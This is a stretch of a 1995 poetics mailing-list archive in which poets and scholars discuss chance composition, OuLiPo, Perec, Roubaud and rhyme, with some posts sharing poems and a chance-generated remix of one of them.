>investigation, phrases, words, etc., just pop in, get writtne down, edited,
>etc. These then lead in directions not originally envisioned...
>
>Many so-called "chance-generated" texts (by Cage, Mac Low, myself, and
>others) use very strictly structured methods to arrive at word choices, line
>lengths, etc, etc. Cage's computer-generated mesostics, for example. Coin
>tosses, dice throws, I Ching, random numbers keyed to dictionary entries are
>all examples of structured approaches to opening the composition to "outside"
>forces not usually thought of as directed by consciousness.
>
>However, if one's sense of self includes the world (self as an "expanded
>field" taking in "eveything"), these methods simply use other strategies,
>forces, or parts of the world-self to formulate or generate the text. "The
>world is speaking through the pen or keyboard" is a natural feeling.
> Strictly speaking then, chance is not random, but directed in at least three
>ways:
>
> - through the conscious mind apparently but not completely in charge of
>its choices.
> - by using structured methods of text generation chosen and set into
>motion by the conscious mind.
> - by allowing "natural forces" (such as gravity or random numbers) to
>"have their say" in the outcomes of the above structured methods.
>
>>
>
John's remarks remind me that after using consciously selected chance
methods, one's writing habits may expand, such that the exercises employed
are not required in quite the same way. For me, patterns add discipline that
is inherently cumulative. There's a little of Houdini in this process, in
that (in some time types of chance applications)one creates obstacle courses
that one does not exactly escape, but rather include the surrounding material.

I've heard some writers say, for example, about some of the experiments, such as those that Charles Bernstein recently shared on this list, that as you engage with them, these methods more naturally become a part of one's "own" methods. (An inadvertent acquisitive suggestion!)

I find the use of chance methods envigorating at least. And I am delighted by so many of the results of that process in the work of other writers.

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84. John Cayley
aleatoric composition
Sat 6 May 1995

Tony Green:

> *What is clearly still deliberate and purposive is the positioning of the "artist" and of the "audience". This purposive character is apt to confuse those who regard only the "chance" of the procedures, thus neglecting artist-work-audience relations.*

An important point, although the artist's actual (as oppsed to 'intended') audience is indeterminate. Even the abdication of agency -- something which does interest me -- implies an attitude to and a particular form of engagement with even this form of literary production which the artist presumably continues to view as such.

Which leads on the the OuLiPo, which had/?has an attitude to 'chance' that was at best ambiguous and more often hostile. I think it is possible to maintain a distinct between the application of arbitrary strictures (anything in rhetoric really from lipograms and sestinas to rhyme and metrics) and the use of (typically) random number generation to determine the actual selection and recording of words/phrases/sentences (where the medium is literary).

The OuLiPians wish to *overcome* the restrictions. Someone in the grip of aleatoric processes wants to follow them and see where they will go.

Of course the distinction is never so clear. Arbitrary is arbitrary and it's a matter of 'chance' that the artist (arbitrarily) applies a set of strictures, however cleverly she overcomes the problems. Chance procedures are always applied to previously structured and/or composed material and the way they are applied is also chosen.

> *the way they are applied ...*

Once again: the machine you're sitting in front of is now a very flexible tool for the composition of chance.

John Cayley Wellsweep Press [in Chinese HZ:]
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]

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85. **jena**
CHAIN #2
Sat 6 May 1995

Now available:
Chain/2: Documentary
Edited by Jena Osman and Juliana Spahr

The second issue of Chain questions the supposed neutrality/objectivity of documentary forms. The concerns of this issue are: in what ways does the topical world filter through language? how do creative forms actually capture an event, a person, a place? The work included highlights the way we use language/image to cut up our experiential encounters so as to (re)see them.

Contributing writers and artists: Alicia Askenase, Lutz Bacher, Merle Lyn Bachman, Dodie Bellamy, Celia Bland, Pascale-Anne Brault, Sherry Brennan, Laynie Browne, AnJanette Brush, Kathe Burkhardt, Juanita But, Catalina Cariaga, Norma Cole, Leslie Davis & Hoa Nguyen, Connie Deanovich, Dubrovka Djuric, Sally Doyle, Maggie Dubris, Carrie Moyer & Sue Schaffer, Ann Erickson, Liz Fodaski, Darcy Frey, Susan Gevirtz, Phoebe Gloeckner, Lyn Hejinian, Lisa Hoke, Akua Lezli Hope, Karen Kelley, Ike Kim, Basil King, Andrew Levy, Walter Lew, Tan Lin, Pamela Lu, Lori Lubeski, Kimberly Lyons, Kevin Magee, Paul Maurice, Katie Merz, Douglas Messerli, Harryette Mullen, Aife Murray, Susan Smith Nash, Sianne Ngai, Erin O'Brien, Alix Pearlstein, M. Nourbese Philip, Stephen Ratcliffe, Susan Rosenberg & Jacob Wisse, Leslie Scalapino, Jenny Scobel, Eleni Sikelianos, Rod Smith, Meredith Stricker, Nathaniel Tarn, HT, Rodrigo Toscano, Nicola Tyson, Cecilia Vicuna, Anne Waldman, Hannah Weiner, Karen Yasinsky, Susan Wheeler, Alexander Zane, Janet Zweig.

Chain/107 14th St./Buffalo, NY 14213
$10 for one issue (6"x9", 250 pp.)
Make checks payable to UB Foundation.

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86. **Carl Lynden Peters**
chance & theology
Sat 6 May 1995

what abt chance and theology? seems to me there's a relation there.

↑ Index

87. **Carl Lynden Peters**
Re: theology nd chance
Sat 6 May 1995

or rather a theological reading of chance seems appropriate, and worth pursuing. which brings us back to Marcel Duchamp.

↑ Index

88. **George Bowering**
Re: Aleatory Poetry
Sat 6 May 1995

Message mainly for Maria Damon. The writers of OuLiPo were and are descendents of the great Raymond Roussel (also claimed by the Surrealists as a source) who challenged one another to perform literary acts of recombinant composition. You have perhaps heard of Italo Svevo's _If on a Winter's Night a Traveller_. In recent times it has been the most popularly successful OuLiPo work. I reccomend the feat of Georges Perec, who wrote an entire novel without using the letter e. It has recently been published in English, if you prefer that, in the U.S. A. Other prominent OuLiPo writers are Raymond Queneau and Harry Mathews. There has always been an association between poets of the New York so called school and the OuLiPo guys. Some of this association you can find in your old copies of _Locus Solus_, which was itself named after a great OuLiPo work.

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89. **Carla Billitteri**
Re: Aleatory Poetry
Sat 6 May 1995

errata corrige: italo calvino -not svevo- wrote _if on a winter night...._

calvino, by the way, was friend of perec and queneau and translator of both.

queneau's writings -like calvino's- stand at the convergence of the oulipo

poetics and a variety of playfully engaged meta-reflective narrative that

looks back at voltaire's and diderot's productions -- good euroreadings

if anyone is interested (but not svevo -that is altogether something else)

Carla Billitteri
[redacted]

↑ Index

90. Ron Silliman
Re: ZenLang
Sat 6 May 1995

Darin De Stefano writes:
>
>
>I've been sitting zazen pretty seriously (i.e every day and some full
day
>and two or three day seshin once in a while) for about five years. I
>would definietly say that it's 'influenced' my writing. I don't
consider
>myself a buddhist (in fact, some of why i sit is wrapped into the
>question of 'what' i am...i think 'who' is irrelevent until the first
one
>is better explored).

When Kit and I spoke with Zhung Zhiqing last year, he identified a practice that is common in the People's Republic among the intelligentsia. The practice is called chi kung, which roughly translates into "breathing practice," and amounts to a completely secularized version of sitting zazen. It's so common that it does not distinguish the zen poets, for example, from the "language" ones there.

Ron

↑ Index

91. Ron Silliman
Re: Aleatory Poetry
Sat 6 May 1995

You wrote:
>
> forgive my ignorance: who are the Oulipians?--maria damon
>
The Society for Potential Literature, a wonderful internationalist
literary "school" out of Europe -- Jacques Roubaud (whose name I may be

misspelling), Georges Perec, Italo Calvino and Harry Matthews have all been associated with this phenomenon.

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92. Charles Alexander

Not all chance, not at all??

Sat 6 May 1995

In part trying out a new program for e-mail and more, in part thinking about the conversations on aleatory composition, in part wanting more poems on this forum, here:

This is the year 1997 and there
are gale winds in the west, never
a note played in discontent and

in a place where animals play
the imagined margins soar with letters
flung at odd intervals and ink
spills a clear running relevance
moved to safer particles, absolved.

These are the words the heart makes
forgetting its injunction to exercise
while floating, fingers succumb to
the temptation to imply themselves
or another, waiting, presumptive.

Do not argue, I want to say, there
is not enough time, I don't even know
what thought might bring the third day
and something beats now, wanting
only to be subject, object too, yours.

What will the hospital say, the treadmill,
another language of not knowing, as if
anything else were possible, today or
another time, invisible, flags from porches
forego the year, the skin, the tissue.
We are flying on the ground.

charles alexander

charles alexander
chax press
minnesota center for book arts

phone & fax: [redacted]
e-mail: [redacted]

↑ Index

93. B. Cass Clarke

honor

Sun 7 May 1995

The Ballroom

1.
the important thing: to keep yr backbone straight
the distance between this image
& the one
inside the coffin

to clean the fungus under yr fingernails
just before you descend the grand staircase
this image & the other
the poised head pivoting
gently on the topmost bone of the spine
the smile

the important thing"
never to turn around when a shadow
falls across the threshold
the image that I put on with my rings

2.
I wonder what birds sing at yr bedroom window
in the morning?
All night my bed is borne by six faggots in ties & tails
Baron de Charlus among them
all night long
they jog along to receding cemeteries
swaddled in mist, where disillusioned cows
browse out the summer,
when the morning comes
it takes a while to relocate the sun
which in fact is, or shd be,
in the region of yr hair.
to brush the dust of graveyard off my shoulders
slip the flesh & skin neatly over my skull
descend the brilliant staircase
brilliantly

I wonder what cats yowl at yr bedroom window
nights
when I browse in a wagon thru the streets

3.
there has been no bloodshed, the chandelier
does not need to fall; the windows
            are made of crystal
Mozart was seen capering thru the kitchen
  door & down a road that leads thru a
  hole in space.
my hoop swings lightly, my hands

rest lightly on yr shoulders.
do I need to tell you?
between my brain & gullet a pain
is becoming articulate
   approximately a toothache
it corresponds to another pain
             elsewhere.
why do I still keep thinking of the rain?

I edge to the kitchen window, the white lawn
spread w/a red & white cloth, sparkles w/dewdrops
beasts amble to the edge of it, simpering.

in the vicinity of my navel wells a strawberry cake
I am pregnant with pink icing
            & I smile
my hoop swings out, I place my hands
on yr shoulders . . .

[a gift to readers: The New Handbook of Heaven by Diane di Prima, The Poets Press, 1963] --this was the poem that sent me looking further-

B. Cass Clarke
[redacted]

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94. Gabrielle Welford

Call Your Senator Free at EXXON's Expense (fwd)

Sun 7 May 1995

This looks intriguing...

Gabrielle

Here's an 800 number that actually works and lets you call congress. It was set up by some big business group that wants to destroy regulations on the environment. But anyone can use it to call their senator and urge them not to cut Pell Grants and the Student Loan Interest Exemption. PASS THIS ON!! the number is [redacted].

> *From: "[redacted] EFFECT EFFECT" <[redacted]>*
> *Date: May 5, 1995*
> *An ad in today's Washington Post provides a TOLL-FREE number for calling congress to lobby against environmental laws. However, anyone can call, give some basic who/where-from info to an interactive recording, and be connected directly to their state Senator's office to comment on anything that they want!*
>
> *the number is [redacted]*
>
> *The service is intended to promote Sen. Dole's (R-industry) bill S. 343, which will gut environmental protections. But I just used it to register my opinion to Senators Helms and Faircloth that "the bill goes too far, protecting corporations at the expense of ordinary citizens," and urging them to vote against it and come up with something "better" (a frightening thought if they really try to do it).*
>
> *The toll-free number will likely be turned off once S343 is voted on, so use it now and use it often.*
>
> *The phone bill will go to your "friends" at the Alliance for Reasonable Regulation, working to increase corporation's freedoms to poison everyone. Sponsors include the Chemical Manufacturers Association, the National Association of Manufacturers and the Grocery Manufacturers Association.*
>
> *This posting made possible by info from Mark Robinowitz ([redacted])*
>
> *Have Fun Y'all,*
> *David Waller*

--

---------- This message |Help using the mailing lists [redacted] was sent using|General discussion list [redacted] the NAGPS |To reach NAGPS officers [redacted] email server. | Subscribe/remove/etc. [redacted] |NAGPS Services Board [redacted]

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95. H. T. KIRBY-SMITH

aleatory poetry

Sun 7 May 1995

Another good example of disruptive limitation or randomnizing is what Marianne Moore did with syllabics. It was wonderfully absurd--making poems in which every single stanza had lines with exactly the same pattern --the same number of syllables for each corresponding line, such as 13, 23,11,9,9,22. I just made that up but look at "The Monkeys" or many another of hers. There is no way to know what the pattern is other than counting on your fingers. But for her it provided a dislocative framework that compelled unusual choices.

Dylan Thomas --I couldn't believe this when I first heard it-- did the same thing for most of the lines in each stanza of "Fern Hill." Even nuttier, the first poem in his COLLECTED POEMS has a pattern whereby the last line rhymes with the first, second with sceond-to-last, on in to the middle of the approx 50-line poem where there is a couplet. He worked very hard at it and someone told me he was hurt when nobody noticed what he had done.

But as for rhyme, probably everyone should quit using it for five hundred years and then take it up again. It was a silly accident to start with. The Norman Conquest caused rhyme. All that's needed to explain that is a 500-page fotnote.

But here is a rhyme for Marisa, who probably already knows it--it was Theodore Roethke's favorite, I think--

Hinx
Minx
The Old Witch Winks
The fat begins to fry.
There's nobody home
But jumping Joan
And Father and Mother and I.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

Phone: [redacted]

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96. **Tom Mandel**

Re: Aleatory Poetry

Sun 7 May 1995

George Bowering refers to...

"your old copies of _Locus Solus_, which was itself named after a great OuLiPo work"

... which may be a little misleading to some. _Locus Solus_ is a novel by the aforementioned Raymond Roussel, a guide to the estate and collections of the novel's main character (whose name escapes me just now).

Roussel's compositional methods, wonderfully curious, are described in his "How I Wrote Certain of My Works" -- fairly easily available, but I can't tell you where as I write.

Perhaps, also, it is a little misleading too to think of OuLiPo as coming out of Roussel exclusively, as the group is devoted to an open set of procedural writing techniques whose forebears are equally to be sought in late Latin pattern poetry as well as in mathematical modeling in all fields. Jacques Rouboud, one of the leading Oulipiens, is a prof. of math for example.

The very great writer Georges Perec (whom I had the good luck to meet in Paris when I lived there more than twenty yrs ago) was an early member of OuLiPo and recruited Harry Mathews, but I think the group was founded by Raymond Queneau (?)

For those who don't know Perec's work, the novel without "e" is called La Disparution (translated as Avoid), and there is also one written using e as the only vowel. Surely his greatest work, and one of the most amazing works of writing I've ever encountered, is "La vie, mode d'emploi," translated as "Life, A User's Manual." I would also recommend "W, or Memories of Childhood" and "A Man Asleep" -- indeed just about anything he wrote.

Perec died in 1982 (of lung cancer, aged 46). Harry Mathews wrote a wonderful memoir of his friend, but - continuing the bibliographic bibliogaffes of this post - I can't remember the title and can't find the book on my shelves. Continuing interest will prompt a more thorough search (wearing my glasses for example).

> Venue de l'imperceptible
> convexite' de l'oeil
> -- ce par quoi on sait que la terre est rond --
> l'eternite' est circulaire
> mais plate
>
> > GP, from L'eternite' - Orange Export 1982

Tom Mandel

↑ Index

97. **maria damon**
Re: Aleatory Poetry
Sun 7 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Message mainly for Maria Damon. The writers of OuLiPo were and are
> descendents of the great Raymond Roussel (also claimed by the
> Surrealists as a source) who challenged one another to perform
> literary acts of recombinant composition. You have perhaps heard of
> Italo Svevo's _If on a Winter's Night a Traveller_. In recent times
> it has been the most popularly successful OuLiPo work. I reccomend
> the feat of Georges Perec, who wrote an entire novel without using
> the letter e. It has recently been published in English, if you
> prefer that, in the U.S. A. Other prominent OuLiPo writers are
> Raymond Queneau and Harry Mathews. There has always been an
> association between poets of the New York so called school and the
> OuLiPo guys. Some of this association you can find in your old copies
> of _Locus Solus_, which was itself named after a great OuLiPo work.

thanks george: it turns out i've read most of the works you mention, including perec's la disparition, which i came across in paris in 1973 or 4 when i was fresh out of high school, but i didn't know until now that they constituted a "school" with a name. just goes to show, when yr young and just folowing your literary instincts, how much intellectual capital you can miss out on! like, also, that year, i took classes from a guy who went religiously to lacan's weekly lectures and passed the info on to us --we read ecrits etc., but i never knew the word "lacanian" until i got to grad school some 8 yrs later, where it turned out that not only was there a whole apparatus of prestige set up around using the word "lacanian" --but what my colleagues were talking about and attributing to lacan had so little in common with what i thot i'd read and heard that if not for the name and the book titles, i would never have guessed it was the same guy. now tht i'm a jaded academic, i wish i had some of that innocent fresh take on ideas texts and language back!--again, thanks for the info, and just a friendly reminder to one and all myself most of all, "un coup de des n'a jamais aboli le hasard."

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98. maria damon
Re: Aleatory Poetry
Sun 7 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Message mainly for Maria Damon. The writers of OuLiPo were and are
> descendents of the great Raymond Roussel (also claimed by the
> Surrealists as a source) who challenged one another to perform
> literary acts of recombinant composition. You have perhaps heard of
> Italo Svevo's _If on a Winter's Night a Traveller_. In recent times
> it has been the most popularly successful OuLiPo work. I reccomend
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> the letter e. It has recently been published in English, if you
> prefer that, in the U.S. A. Other prominent OuLiPo writers are
> Raymond Queneau and Harry Mathews. There has always been an
> association between poets of the New York so called school and the
> OuLiPo guys. Some of this association you can find in your old copies
> of _Locus Solus_, which was itself named after a great OuLiPo work.

by the way, what does OuLiPo stand for? when it's written thus, it has the air of an anagram of sorts.--md

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99. maria damon
Re: Aleatory Poetry
Sun 7 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> errata corrige: italo calvino -not svevo- wrote _if on a winter night...._
>
> calvino, by the way, was friend of perec and queneau and translator of both.
>
> queneau's writings -like calvino's- stand at the convergence of the oulipo
>
> poetics and a variety of playfully engaged meta-reflective narrative that
>
> looks back at voltaire's and diderot's productions -- good euroreadings
>
> if anyone is interested (but not svevo -that is altogether something else)
>Carla Billitteri
> [redacted]

as long as i've got u all on the line, what's the connection with voltaire? diderot too, though i can begin to intuit an answer there.--maria d

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100. Gabrielle Welford

Re: aleatory poetry

Sun 7 May 1995

> But as for rhyme, probably everyone should quit using it for five
> hundred years and then take it up again. It was a silly accident to
> start with. The Norman Conquest caused rhyme. All that's needed to
> explain that is a 500-page fotnote.
>
Maybe rhyme, but not reason. Or maybe too much reason.

Gabrielle
[redacted]

↑ Index

101. I.LIGHTMAN

being chancy with charles alexander's garden

Sun 7 May 1995

---

never forgetting do safer
today at are to
discontent not I might
at forgetting is its
wantdo the
day the d
1997 its are or are
plamargins of
to to margins a what
the time the odd
gale time discontent might is
animals injunction waiting year know the
I where the to play waiting
not the and is
and the discontent
bring thought this the
the these is discontent at
heart and something to where bring
there floating
imagined might in

note
what and soar
day
flung spills

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102. Kenneth Sherwood
Oulipo en Anglais
Sun 7 May 1995

The fortuitious turn of topic toward "Oulipo" gives me the chance to mention that the next Rif/t (Transpoesis issue) will carry Katheryn McDonald's translation of Jacques Roubaud's first book of poems: _E_ (or 'sigma')

```
      _____
      \
       \
       /
      /
      -----
```

(to be added to the role, send "sub e-poetry Your Name" to "[redacted]" [w/o quotes], or check out the hypertext version of Rift04 at the Electronic Poetry Center next week)

_E_ 1967 (sigma, 18th letter of the Greek alphabet) incorporates directions for aleotoric reading, though it's unclear to me if the poem was also composed by chance, or what exactly the structures/ strictures of composition are.

[See next post for Roubaud translator Katheryn McDonald's introduction.]

Ken Sherwood
[redacted]

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103. Kenneth Sherwood
Roubaud / brief introduction
Sun 7 May 1995

Katheryn McDonald

Translator's Introduction (ROUB04.01 /RIFT04.01 (c) 1995)

Jacques Roubaud's poetry moves in two directions at once. It is resolutely complicated, structured by mathematical symbols and many-optioned choices. This is poetry that draws attention to itself as language, offering the reader the opportunity to move blocks of it around, structure a book as she pleases. The re-combinatory, repetitive conception of poetry-as-words contrasts with the alternative, also present in Roubaud's work, of a healing poetry, expressive of grief or joy. The dual aspect that characterizes Roubaud's poetry is in place from his first published book of poems, _E_, which appeared at Gallimard in 1967. This volume presents itself in a dry and very formal manner, presaged by the mathematical symbol that serves as the book's title. The poems themselves are at the intersection of several formal constraints: the movement of white and black markers in a game of *go*; the structure of a sonnet of sonnets; finally the order imposed by the poems' physical presence in a book of poetry. The possibilty of re-ordering the poems of _E_--presented as an integral part of the work--presumes the idea of these poems as a sort of game. Their configuration can be changed, indeed is constructed around the possibility of change, according to previously delineated rules. It is these rules that open the book, under the heading "mode d'emploi de ce livre." But across these poems, divided into paragraphs marked by mathematical symbols, seemingly simply the markers in a complex and formal game, we hear a very personal cry of loss at the death of a brother, and the troubled search of a poet coming to terms with the place of poetry in relation to his own life.

Jacques Roubaud sets up the parameters of his search in the first complete movement of _E_, which is the first sonnet of sonnets. His "conclusion" is a departure for the rest of the book. Although each poem can stand alone, the sonnet can also be read as a suite. The reader can follow the movement of thought that unfolds as the poet moves from rejection of the outside world through an interrogation of language, concluding with an acceptance of that world through the medium of his own past. --Katheryn McDonald

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104. **Tom Mandel**

Re: Roubaud / brief introduction

Sun 7 May 1995

Jacques Roubaud and Georges Perec, under a single pseudonym, published an introduction to the game Go in the sixties (?).

Roubaud's "Some Thing Black," a very beautiful book, is available from Dalkey Archive, as is his "The Great Fire of London," a long novel.

Harry Mathews memoir of Georges Perec is called "Le Verger" (The Orchard). Written in French it was translated by the author and I remember having seen the translated edition -- but where?

The memoir is written in a form inaugurated (to my knowledge) by the late Joe Brainard; discrete paragraphs each begin "I remember." Perec had read Brainard's work of that title and loved it and wrote a work himself in the same way. Harry Mathews memoir is well worth reading even for those who don't know Perec's work or his; it is a moving indication and example of friendship.

Tom Mandel

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105. Tom Mandel
Ouvroir de Literature Potentielle: OuLiPo
Sun 7 May 1995

... means Workshop of Potential Literature -- in response to someone's question. But I may have already posted this translation; sorry, if so.

Tm

↑ Index

106. Charles Alexander
Re: being chancy with charles alexander's garden
Sun 7 May 1995

Dear Ira:

Thank you. What you chancily did with my garden is marvelous.

all best,
charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

107. Aldon L. Nielsen
Re: Theme for the Oulipians
Sun 7 May 1995

Maria -- I'm running late & see that your questions has already been answered -- but thought you would like to know that there was an English language Oilipo anthology pubd. in "86 by U of Neb. Press -- Titled _Oulipo: A Primer of Potential Literature_, edited by Warren F. Motte. It's in many libraries, but has also been remaindered & is thus available CHEAP! There was also a special Oulipo issue of some arts mag. last year edited by Harry Matthews, I think the only American member of Oulipo, the title of which I can't remember -- but when I get back to my office next week I'll post the info. to you

& for the Jazz fans -- I've always heard an "accidental" echo in Roland Kirk's "Theme for the Eulipians" -- listen to it and think of this note by Perec:

A considerably diminshed echo of these vertiginous preoccupations seems to me to resound still in the case of the lipogram.

Somebody once threatened to give me at fat oulipo.

--aldon

↑ Index

108. Robert Kelly
Re: Oulipo en Anglais
Sun 7 May 1995

No, wait, it's not a flaming sigma,
it's an EPSILON.

Roberto , el greco

(and there are trans. from [epsilon] in Paul Auster's fine anth of a decade back, some by me and some by my betters)

RK

==========
Robert Kelly
Division of Literature and Languages, Bard College
Annandale-on-Hudson NY 12504
Voice Mail: [redacted] Box 7205
[redacted]

On Sun, 7 May 1995, Kenneth Sherwood wrote:

> *The fortuitious turn of topic toward "Oulipo" gives me the chance to mention that the next Rif/t (Transpoesis issue) will carry Katheryn McDonald's translation of Jacques Roubaud's first book of poems: _E_ (or 'sigma')*
>
> ```
> ____
> \
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> /
> -----
> ```
>
> *(to be added to the role, send "sub e-poetry Your Name" to "[redacted]" [w/o quotes], or check out the hypertext version of Rift04 at the Electronic Poetry Center next week)*
>
> *_E_ 1967 (sigma, 18th letter of the Greek alphabet) incorporates directions for aleotoric reading, though it's unclear to me if the poem was also composed by chance, or what exactly the structures/ strictures of composition are.*
>
> *[See next post for Roubaud translator Katheryn McDonald's introduction.]*
>
> ---
> *Ken Sherwood*
> [redacted]

↑ Index

109. Robert Drake
Re: Oulipo en Anglais
Sun 7 May 1995

for those interested in Oulipo, and Queneau particularly, there's an online version of his "a story as you like it" online at:

http://fub46.zedat.fu-berlin.de:8080/~cantsin/Welcome.html

i'm not certain, but i believe this is the first extant example of what is now commonly known as "hypertext", w/ interactive multiple examples, etc...

lbd

↑ Index

110. **Ryan Knighton**
Re: rhyme
Sun 7 May 1995

I don't htink rhyme is a simple, ugly or simply ugly issue at all. What about Levertov's various kinds of rhymes and rhyming. I n one essay she explains how rhyme chime and echo are the signatures of the mind's return, the ceaseless movements of perception which are invariably "intently haphazard". Perhaps the typical end rhyme is a dead issue, but i think, as in Levertov, its face and function is evolving.

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111. **Jed**
Re: Gerald Stern
Sun 7 May 1995

Wystan--my sympathies, but you did have W(ystan) H. Auden for namesake once upon a time. You do prompt me to wonder what names have to do with our perspect ival inclinations. I mean, do the Mary Jones and Bill Smiths of the world feel a deep intuitive solidarity with those around them, their own names mirrored back with some regularity? Or is it the pinch of the uncanny? I can only wonder, as I know literally all the people in the world named Rasula (less than a dozen), because the name comes from a few mailboxes on a dirt road in central Finland, a place name adapted by ancestor immigrants because they took it (righ tly) that it would be less mangled in pronunciation than the patronymic, which was Jaskari. Not that being named Jed is any less singular, although I have met a few--most recently in Seville last summer, of all places.

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112. **Jed**
Re: Aleatory Poetry
Sun 7 May 1995

Maria-- to adjust George Bowering's note on OuLiPo slightly, that's Italo Calvino, not Joyce's buddy Italo Svevo.

There's a handy collection of Oulipian
manifestos edited and translated by Warren Motte, published by U.Nebraska about
6 or 8 years ago, if you're interested.

↑ Index

113. beard

Charles Alexander / Canadian sound poets

Sun 7 May 1995

> *In part trying out a new program for e-mail and more, in part thinking about the conversations on aleatory composition, in part wanting more poems on this forum, here:*

Bravo Charles! It looked like this was turning into a poetics forum without poetry. Your poem engaged my brain and senses, and above all, it's _memorable_. If a text is a picnic where the author brings the words and the reader brings the sense (Todorov?) then the words have to be tasty enough to make the reader *want* to come to the picnic. Too many "open" works turn up with a tossed salad of withered celery, stale croutons, mouldy turnips and week-old brussels sprouts. You brought smoked salmon and a bottle of Kumeu River Chardonnay - thank you.

>   ... ink
>spills a clear running relevance
>moved to safer particles, absolved.
.
.
>These are the words the heart makes
>forgetting its injunction to exercise
>while floating, ...
.
>
>and something beats now, wanting
>only to be subject, object too, yours.
.
.
>another language of not knowing, as if
>anything else were possible, today or
>another time, invisible, ...

On another subject, there's a couple of Canadian sound poets giving a reading here next week: Douglas Barber and Stephen Scobie. Is anyone on the list familiar with their work? I haven't experienced much sound poetry (does this mean that everything else is _un_sound poetry?) apart from Edwin Morgan ('The Loch Ness monster's song' etc), so I'm intrigued, but I wonder whether anyone has any opinions on these particular poets.

Thanks,

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

114. George Bowering
Re: Aleatory Poetry
Sun 7 May 1995

Yikes, did I write Italo Svevo? I dont think that Svevo made many joues at all, though he was an interesting man. I mean how many other writers have a bookstore named after them, I mean a bookstore that uses up a city block? Calvino, exactly. I think that his most amazing project was _The Path of Crossed Destinies_ if that's what it is in English.

↑ Index

115. George Bowering
Re: Gerald Stern
Sun 7 May 1995

Yep, my wife's name is Luoma, and I think they took that name from the place they lived in Finland too. Maybe Bill wd know that.

↑ Index

116. George Bowering
Re: Roubaud / brief introduction
Sun 7 May 1995

If I remember correctly, the Mathews text _The Orchard_ was published by Bamberger Books. I'm sort of 67% sure.

I published 2 years ago a memoir done in the same fashion for the great painter Greg Curnoe, killed on his bicycle. Called it _The Moustache_, made proper homage to Mathews, Perec and Brainard.

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117. George Bowering
Re: aleatory poetry
Sun 7 May 1995

It would seem to me that it is impossible not to use rime in poetry, although I have heard some dreadful stuff and seen some dreadfgul stuff in magazines that seems to give it a try. Hell, I bet someobody with a good ear could even do interesting stuff with rime at the ends of lines.

↑ Index

118. George Bowering
Re: Aleatory Poetry
Sun 7 May 1995

Tom Mandel is certainly right in his praise of Perec. I have some friends at University of Queensland, and they apparently did not see him when he was there for a little while.

By the way, the name of the guy who owns the estate in Roussel's _Locus Solus_ is Martial Canterel, I think. I am not sure that we can call it a novel, but what the hell, why dont we?

↑ Index

119. George Bowering
Re: jazz/music
Sun 7 May 1995

Dear Herb,

I havent got any further with my enquiry about Don Ayler. I went to Black Swan Records, Pickering's store, and it was kaput, a few forlorn posters on the window, but empty inside. Phew.

I will try to phone Ken, and if I get something, I'll post it. Pickering, by the way, is the only person I know who has a better Paul Bley collection than mine.

↑ Index

120. Ted Maier
Re: rhyme
Mon 8 May 1995

Regarding the rhyme thread:

KEEPING THE RHYME

By stress and syllable
by change-rhyme and contour
we let the long line pace even awkward to its period.

The short line
we refine
and keep for candor.

This we remember:
ember of the fire
catches the word if we but hear
    ("We must understand what is happening")
and springs to desire,
a bird-right light
    sound.

This is the Yule-log that warms December.
This is new grass that springs from the ground.

    --Robert Duncan, _The Opening of the Field_

↑ Index

121. Tom Mandel
Re: jazz/music
Mon 8 May 1995

Sure, what the heck, lets...

I've wondered whether Martial Solal took the name from
Roussel, amalgumming Martial Canteral and Locus Solus.
Thots?

Tm

↑ Index

122. H. T. KIRBY-SMITH
rhyme
Mon 8 May 1995

As to the impossibility of writing poetry without rhyme, well there was this fellow named Bill Williams and this guy named Olson and then there was someone a while back who wrote an epic poem--Homer, Milton, Vergil--that didn't have any rhyme--as a matter of fact Milton called it this "troublesome bandage [sic]"--and then there was a long time back Horace and Sappho and then there was a whole lot of people who wrote plays in blank verse and I don't remember seeing a rhyme in Ginsberg but who knows what he is capable of?

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

Phone: [redacted]

↑ Index

123. Jordan Davis.
pathos and chance
Mon 8 May 1995

Do aleatory methods ever yield anything people tend to save and go back to? Aren't novels basically rule-based systems? Aren't we going one too many differentials out?

↑ Index

124. Kevin Killian
Directory assistance
Mon 8 May 1995

Does anybody have Dennis Barone's e-mail address? He *must* have one.

Thanks,
Dodie Bellamy

↑ Index

125. Kevin Killian
Looking for . . .
Mon 8 May 1995

Anyone with the RL addresses of Jackson MacLow and Denise Levertov.

Please! Thank you!

-Kevin Killian

↑ Index

126. cris cheek
chance / trust
Mon 8 May 1995

Hi,

Some of the Vocabulary being used for this subject is in danger of becoming conflated into dangerous goo:

Religious / Miracles / Trust / Oracular / Horoscope / Reincarnated / Consulting / Prophecy and such are being inveigled into these discussions and I want to know more about what they mean to differing people. I'm going to need convincing that such terms can be useful tools of communication either today or tomorrow. Don't they convey an overbearing excess baggage?

I'm not at all suggesting that certain words can't be used. Just that it might be more user-friendly to adopt or co-opt other words through which to discuss what they are being used to signify - rather than clogging the discussion with ballast which is vague unless clarified at some considerable length.

Many such terms invoke a 'higher' sense or power. This immediately opens a huge and prickly discussion. 'Higher' than what - 'higher' than whom? Let's get particular here please. I'd be just as worried by anyone using chance methods in the understanding that by so doing they can by-pass or somehow circumnavigate subjectivity (taking what's been said about curbing the sprawl of the ego into account here) as by the assertion that one accept 'fate' as dictated by a horoscope constructed by rote to the extensive purposes of political manipulation as documented in 'Religion and the Decline of Magic' by Keith Thomas (an important book on the subject from the viewpoint of 16th and 17th century england - wicca, astrology, Protestant rationality and Magiq from which, opening that book at 'random' i quote 'the medieval church thus did a great deal to weaken the fundamental distinction between a prayer and a charm, and to encourage the idea that there was virtue in the mere repetition of holy words' or 'the very impenetrability of the formaula helped to give it its power').

